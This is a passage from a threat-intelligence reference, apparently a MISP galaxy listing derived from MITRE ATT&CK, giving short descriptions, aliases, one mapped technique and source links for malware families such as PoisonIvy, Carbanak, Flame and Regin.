- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2194. Table References

Links
https://attack.mitre.org/wiki/Software/S0115
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf

Rover - S0090

Rover is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)

Aliases: Rover

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Rover - S0090"*

Rover - S0090 is also known as:

- Rover

Rover - S0090 has relationships with:

- similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

Table 2195. Table References

Links
https://attack.mitre.org/wiki/Software/S0090
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

ZLib - S0086

ZLib is a full-featured backdoor that was used as a second-stage implant by Dust Storm from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)

Aliases: ZLib

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ZLib - S0086"*

ZLib - S0086 is also known as:

- ZLib

ZLib - S0086 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 2196. Table References

Links
https://attack.mitre.org/wiki/Software/S0086
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op%20Dust%20Storm%20Report.pdf

PowerDuke - S0139

PowerDuke is a backdoor that was used by APT29 in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)

Aliases: PowerDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PowerDuke - S0139"*

PowerDuke - S0139 is also known as:

- PowerDuke

PowerDuke - S0139 has relationships with:

- similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2197. Table References

Links
https://attack.mitre.org/wiki/Software/S0139
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

HTTPBrowser - S0070

HTTPBrowser is malware that has been used by several threat groups. (Citation: ThreatStream Evasion Analysis) (Citation: Dell TG-3390) It is believed to be of Chinese origin. (Citation: ThreatConnect Anthem)

Aliases: HTTPBrowser, Token Control, HttpDump

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HTTPBrowser - S0070"*

HTTPBrowser - S0070 is also known as:

- HTTPBrowser
- Token Control
- HttpDump

HTTPBrowser - S0070 has relationships with:

- similar: misp-galaxy:tool="HTTPBrowser" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with

estimative-language:likelihood-probability="almost-certain"

Table 2198. Table References

Links
https://attack.mitre.org/wiki/Software/S0070
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop
http://www.secureworks.com/cyber-threat-intelligence/threats/threat-group-3390-targets-organizations-for-cyberespionage/
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

HAMMERTOSS - S0037

HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)

Aliases: HAMMERTOSS, HammerDuke, NetDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="HAMMERTOSS - S0037"*

HAMMERTOSS - S0037 is also known as:

- HAMMERTOSS
- HammerDuke
- NetDuke

HAMMERTOSS - S0037 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"

Table 2199. Table References

Links
https://attack.mitre.org/wiki/Software/S0037
https://www2.fireeye.com/rs/848-DID-242/images/rpt-apt29-hammertoss.pdf
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

PoisonIvy - S0012

PoisonIvy is a popular remote access tool (RAT) that has been used by many groups. (Citation: FireEye Poison Ivy)

Aliases: PoisonIvy, Poison Ivy

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012"*

PoisonIvy - S0012 is also known as:

- PoisonIvy
- Poison Ivy

PoisonIvy - S0012 has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

Table 2200. Table References

Links
https://attack.mitre.org/wiki/Software/S0012
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf

SHUTTERSPEED - S0217

SHUTTERSPEED is a backdoor used by APT37. (Citation: FireEye APT37 Feb 2018)

Aliases: SHUTTERSPEED

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SHUTTERSPEED - S0217"*

SHUTTERSPEED - S0217 is also known as:

- SHUTTERSPEED

SHUTTERSPEED - S0217 has relationships with:

- similar: misp-galaxy:tool="SHUTTERSPEED" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 2201. Table References

Links
https://attack.mitre.org/wiki/Software/S0217
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

Carbanak - S0030

Carbanak is a remote backdoor used by a group of the same name (Carbanak). It is intended for espionage, data exfiltration, and providing remote access to infected machines. (Citation: Kaspersky Carbanak)

Aliases: Carbanak, Anunak

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Carbanak - S0030"*

Carbanak - S0030 is also known as:

- Carbanak
- Anunak

Carbanak - S0030 has relationships with:

- similar: misp-galaxy:malpedia="Carbanak" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2202. Table References

Links
https://attack.mitre.org/wiki/Software/S0030
https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf

POWERSTATS - S0223

POWERSTATS is a PowerShell-based first stage backdoor used by MuddyWater. (Citation: Unit 42 MuddyWater Nov 2017)

Aliases: POWERSTATS

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="POWERSTATS - S0223"*

POWERSTATS - S0223 is also known as:

- POWERSTATS

POWERSTATS - S0223 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

Table 2203. Table References

Links
https://attack.mitre.org/wiki/Software/S0223

https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/

Ixeshe - S0015

Ixeshe is a malware family that has been used since 2009 to attack targets in East Asia. (Citation: Moran 2013)

Aliases: Ixeshe

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Ixeshe - S0015"*

Ixeshe - S0015 is also known as:

- Ixeshe

Ixeshe - S0015 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

Table 2204. Table References

Links
https://attack.mitre.org/wiki/Software/S0015
https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

BADNEWS - S0128

BADNEWS is malware that has been used by the actors responsible for the Patchwork campaign. Its name was given due to its use of RSS feeds, forums, and blogs for command and control. (Citation: Forcepoint Monsoon)

Aliases: BADNEWS

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="BADNEWS - S0128"*

BADNEWS - S0128 is also known as:

- BADNEWS

BADNEWS - S0128 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2205. Table References

Links

https://attack.mitre.org/wiki/Software/S0128
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

FLIPSIDE - S0173

FLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)

Aliases: FLIPSIDE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="FLIPSIDE - S0173"*

FLIPSIDE - S0173 is also known as:

- FLIPSIDE

FLIPSIDE - S0173 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2206. Table References

Links
https://attack.mitre.org/wiki/Software/S0173
https://www.youtube.com/watch?v=fevGZs0EQu8

Flame - S0143

Flame is a sophisticated toolkit that has been used to collect information since at least 2010, largely targeting Middle East countries. (Citation: Kaspersky Flame)

Aliases: Flame, Flamer, sKyWIper

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Flame - S0143"*

Flame - S0143 is also known as:

- Flame
- Flamer
- sKyWIper

Flame - S0143 has relationships with:

- similar: misp-galaxy:tool="Flame" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

Table 2207. Table References

Links
https://attack.mitre.org/wiki/Software/S0143
https://securelist.com/the-flame-questions-and-answers-51/34344/

RIPTIDE - S0003

RIPTIDE is a proxy-aware backdoor used by APT12. (Citation: Moran 2014)

Aliases: RIPTIDE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="RIPTIDE - S0003"*

RIPTIDE - S0003 is also known as:

- RIPTIDE

RIPTIDE - S0003 has relationships with:

- similar: misp-galaxy:tool="Etumbot" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2208. Table References

Links
https://attack.mitre.org/wiki/Software/S0003
https://www.fireeye.com/blog/threat-research/2014/09/darwins-favorite-apt-group-2.html

Daserf - S0187

Daserf is a backdoor that has been used to spy on and steal from Japanese, South Korean, Russian, Singaporean, and Chinese victims. Researchers have identified versions written in both Visual C and Delphi. (Citation: Trend Micro Daserf Nov 2017) (Citation: Secureworks BRONZE BUTLER Oct 2017)

Aliases: Daserf, Muirim, Nioupale

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Daserf - S0187"*

Daserf - S0187 is also known as:

- Daserf
- Muirim
- Nioupale

Daserf - S0187 has relationships with:

- similar: misp-galaxy:malpedia="Daserf" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"

Table 2209. Table References

Links
https://attack.mitre.org/wiki/Software/S0187
http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

CozyCar - S0046

CozyCar is malware that was used by APT29 from 2010 to 2015. It is a modular malware platform, and its backdoor component can be instructed to download and execute a variety of modules with different functionality. (Citation: F-Secure The Dukes)

Aliases: CozyCar, CozyDuke, CozyBear, Cozer, EuroAPT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CozyCar - S0046"*

CozyCar - S0046 is also known as:

- CozyCar
- CozyDuke
- CozyBear
- Cozer
- EuroAPT

CozyCar - S0046 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2210. Table References

Links
https://attack.mitre.org/wiki/Software/S0046
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

Mivast - S0080

Mivast is a backdoor that has been used by Deep Panda. It was reportedly used in the Anthem breach. (Citation: Symantec Black Vine)

Aliases: Mivast

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Mivast - S0080"*

Mivast - S0080 is also known as:

- Mivast

Mivast - S0080 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060" with estimative-language:likelihood-probability="almost-certain"

Table 2211. Table References

Links
https://attack.mitre.org/wiki/Software/S0080
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-black-vine-cyberespionage-group.pdf

NETWIRE - S0198

is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012. (Citation: FireEye APT33 Sept 2017) (Citation: McAfee Netwire Mar 2015) (Citation: FireEye APT33 Webinar Sept 2017)

Aliases: NETWIRE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="NETWIRE - S0198"*

NETWIRE - S0198 is also known as:

- NETWIRE

NETWIRE - S0198 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 2212. Table References

Links
https://attack.mitre.org/wiki/Software/S0198
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/
https://www.brighttalk.com/webcast/10703/275683

ISMInjector - S0189

ISMInjector is a Trojan used to install another OilRig backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)

Aliases: ISMInjector

Contributors: Robert Falcone

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="ISMInjector - S0189"*

ISMInjector - S0189 is also known as:

- ISMInjector

ISMInjector - S0189 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"

Table 2213. Table References

Links
https://attack.mitre.org/wiki/Software/S0189
https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

Vasport - S0207

is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Vasport May 2012)

Aliases: Vasport

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Vasport - S0207"*

Vasport - S0207 is also known as:

- Vasport

Vasport - S0207 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2214. Table References

Links
https://attack.mitre.org/wiki/Software/S0207
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf

https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051606-5938-99

Cherry Picker - S0107

Cherry Picker is a point of sale (PoS) memory scraper. (Citation: Trustwave Cherry Picker)

Aliases: Cherry Picker

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Cherry Picker - S0107"*

Cherry Picker - S0107 is also known as:

- Cherry Picker

Cherry Picker - S0107 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="AppInit DLLs - T1103" with estimative-language:likelihood-probability="almost-certain"

Table 2215. Table References

Links
https://attack.mitre.org/wiki/Software/S0107
https://www.trustwave.com/Resources/SpiderLabs-Blog/Shining-the-Spotlight-on-Cherry-Picker-PoS-Malware/

XTunnel - S0117

XTunnel a VPN-like network proxy tool that can relay traffic between a C2 server and a victim. It was first seen in May 2013 and reportedly used by APT28 during the compromise of the Democratic National Committee. (Citation: Crowdstrike DNC June 2016) (Citation: Invincea XTunnel) (Citation: ESET Sednit Part 2)

Aliases: XTunnel, X-Tunnel, XAPS

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="XTunnel - S0117"*

XTunnel - S0117 is also known as:

- XTunnel
- X-Tunnel
- XAPS

XTunnel - S0117 has relationships with:

- similar: misp-galaxy:tool="X-Tunnel" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 2216. Table References

Links
https://attack.mitre.org/wiki/Software/S0117
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/
https://www.invincea.com/2016/07/tunnel-of-gov-dnc-hack-and-the-russian-xtunnel/
http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf

Naid - S0205

Naid is a trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Naid June 2012)

Aliases: Naid

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Naid - S0205"*

Naid - S0205 is also known as:

- Naid

Naid - S0205 has relationships with:

- similar: misp-galaxy:tool="Trojan.Naid" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 2217. Table References

Links
https://attack.mitre.org/wiki/Software/S0205
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-061518-4639-99

GeminiDuke - S0049

GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)

Aliases: GeminiDuke

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="GeminiDuke - S0049"*

GeminiDuke - S0049 is also known as:

- GeminiDuke

GeminiDuke - S0049 has relationships with:

- similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 2218. Table References

Links
https://attack.mitre.org/wiki/Software/S0049
https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf

CORALDECK - S0212

is an exfiltration tool used by APT37. (Citation: FireEye APT37 Feb 2018)

Aliases: CORALDECK

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CORALDECK - S0212"*

CORALDECK - S0212 is also known as:

- CORALDECK

CORALDECK - S0212 has relationships with:

- similar: misp-galaxy:tool="CORALDECK" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"

Table 2219. Table References

Links
https://attack.mitre.org/wiki/Software/S0212
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

Sakula - S0074

Sakula is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)

Aliases: Sakula, Sakurel, VIPER

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Sakula - S0074"*

Sakula - S0074 is also known as:

- Sakula
- Sakurel
- VIPER

Sakula - S0074 has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2220. Table References

Links
https://attack.mitre.org/wiki/Software/S0074
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/

Agent.btz - S0092

Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)

Aliases: Agent.btz

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Agent.btz - S0092"*

Agent.btz - S0092 is also known as:

- Agent.btz

Agent.btz - S0092 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2221. Table References

Links
https://attack.mitre.org/wiki/Software/S0092
https://securelist.com/agent-btz-a-source-of-inspiration/58551/

Prikormka - S0113

Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation

Groundbait)

Aliases: Prikormka

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Prikormka - S0113"*

Prikormka - S0113 is also known as:

- Prikormka

Prikormka - S0113 has relationships with:

- similar: misp-galaxy:tool="Prikormka" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 2222. Table References

Links
https://attack.mitre.org/wiki/Software/S0113
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

NETEAGLE - S0034

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as “Scout” and “Norton.” (Citation: FireEye APT30)

Aliases: NETEAGLE

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="NETEAGLE - S0034"*

NETEAGLE - S0034 is also known as:

- NETEAGLE

NETEAGLE - S0034 has relationships with:

- similar: misp-galaxy:malpedia="NETEAGLE" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 2223. Table References

Links
https://attack.mitre.org/wiki/Software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

SLOWDRIFT - S0218

SLOWDRIFT is a backdoor used by APT37 against academic and strategic victims in South Korea. (Citation: FireEye APT37 Feb 2018)

Aliases: SLOWDRIFT

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="SLOWDRIFT - S0218"*

SLOWDRIFT - S0218 is also known as:

- SLOWDRIFT

SLOWDRIFT - S0218 has relationships with:

- similar: misp-galaxy:tool="SLOWDRIFT" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2224. Table References

Links
https://attack.mitre.org/wiki/Software/S0218
https://www2.fireeye.com/rs/848-DID-242/images/rpt%20APT37.pdf

USBStealer - S0136

USBStealer is malware that has used by APT28 since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with ADVSTORESHELL. (Citation: ESET Sednit USBStealer 2014) (Citation: Kaspersky Sofacy)

Aliases: USBStealer, USB Stealer, Win32/USBStealer

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="USBStealer - S0136"*

USBStealer - S0136 is also known as:

- USBStealer
- USB Stealer
- Win32/USBStealer

USBStealer - S0136 has relationships with:

- similar: misp-galaxy:tool="USBStealer" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 2225. Table References

Links
https://attack.mitre.org/wiki/Software/S0136
http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/
https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/

CALENDAR - S0025

CALENDAR is malware used by APT1 that mimics legitimate Gmail Calendar traffic. (Citation: Mandiant APT1)

Aliases: CALENDAR

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="CALENDAR - S0025"*

CALENDAR - S0025 is also known as:

- CALENDAR

CALENDAR - S0025 has relationships with:

- similar: misp-galaxy:tool="CALENDAR" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 2226. Table References

Links
https://attack.mitre.org/wiki/Software/S0025
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Umbreon - S0221

A Linux rootkit that provides backdoor access and hides from defenders.

Aliases: Umbreon

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Umbreon - S0221"*

Umbreon - S0221 is also known as:

- Umbreon

Umbreon - S0221 has relationships with:

- similar: misp-galaxy:tool="Umbreon" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

Table 2227. Table References

Links
https://attack.mitre.org/wiki/Software/S0221

Wingbird - S0176

Wingbird is a backdoor that appears to be a version of commercial software FinFisher. It is reportedly used to attack individual computers instead of networks. It was used by NEODYMIUM in a May 2016 campaign. (Citation: Microsoft SIR Vol 21) (Citation: Microsoft NEODYMIUM Dec 2016)

Aliases: Wingbird

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Wingbird - S0176"*

Wingbird - S0176 is also known as:

- Wingbird

Wingbird - S0176 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"

Table 2228. Table References

Links
https://attack.mitre.org/wiki/Software/S0176
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/

Nerex - S0210

is a Trojan used by Elderwood to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)

Aliases: Nerex

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Nerex - S0210"*

Nerex - S0210 is also known as:

- Nerex

Nerex - S0210 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 2229. Table References

Links
https://attack.mitre.org/wiki/Software/S0210
http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security%20response/writeup.jsp?docid=2012-051515-3445-99

Regin - S0019

Regin is a malware platform that has targeted victims in a range of industries, including telecom, government, and financial institutions. Some Regin timestamps date back to 2003. (Citation: Kaspersky Regin)

Aliases: Regin

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Regin - S0019"*

Regin - S0019 is also known as:

- Regin

Regin - S0019 has relationships with:

- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 2230. Table References

Links
https://attack.mitre.org/wiki/Software/S0019
https://securelist.com/files/2014/11/Kaspersky%20Lab%20whitepaper%20Regin%20platform%20eng.pdf

AutoIt backdoor - S0129

AutoIt backdoor is malware that has been used by the actors responsible for the MONSOON campaign. The actors frequently used it in weaponized .pps files exploiting CVE-2014-6352. (Citation: Forcepoint Monsoon) This malware makes use of the legitimate scripting language for Windows GUI automation with the same name.

Aliases: AutoIt backdoor

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="AutoIt backdoor - S0129"*

AutoIt backdoor - S0129 is also known as:

- AutoIt backdoor

AutoIt backdoor - S0129 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 2231. Table References

Links
https://attack.mitre.org/wiki/Software/S0129
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf

POWRUNER - S0184

POWRUNER is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)

Aliases: POWRUNER

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="POWRUNER - S0184"*

POWRUNER - S0184 is also known as:

- POWRUNER

POWRUNER - S0184 has relationships with:

- similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 2232. Table References

Links
https://attack.mitre.org/wiki/Software/S0184
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

Power Loader - S0177

Power Loader is modular code sold in the cybercrime market used as a downloader in malware families such as Carberp, Redyms and Gapz. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Aliases: Power Loader, Win32/Agent.UAW

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Power Loader - S0177"*

Power Loader - S0177 is also known as:

- Power Loader
- Win32/Agent.UAW

Power Loader - S0177 has relationships with:

- uses: misp-galaxy:mitre-enterprise-attack-attack-pattern="Extra Window Memory Injection - T1181" with estimative-language:likelihood-probability="almost-certain"

Table 2233. Table References

Links
https://attack.mitre.org/wiki/Software/S0177
https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html
https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/

Pteranodon - S0147

Pteranodon is a custom backdoor used by Gamaredon Group. (Citation: Palo Alto Gamaredon Feb 2017)

Aliases: Pteranodon

The tag is: *misp-galaxy:mitre-enterprise-attack-malware="Pteranodon - S0147"*

Pteranodon - S0147 is also known as:

- Pteranodon

Pteranodon - S0147 has relationships with:

- similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"
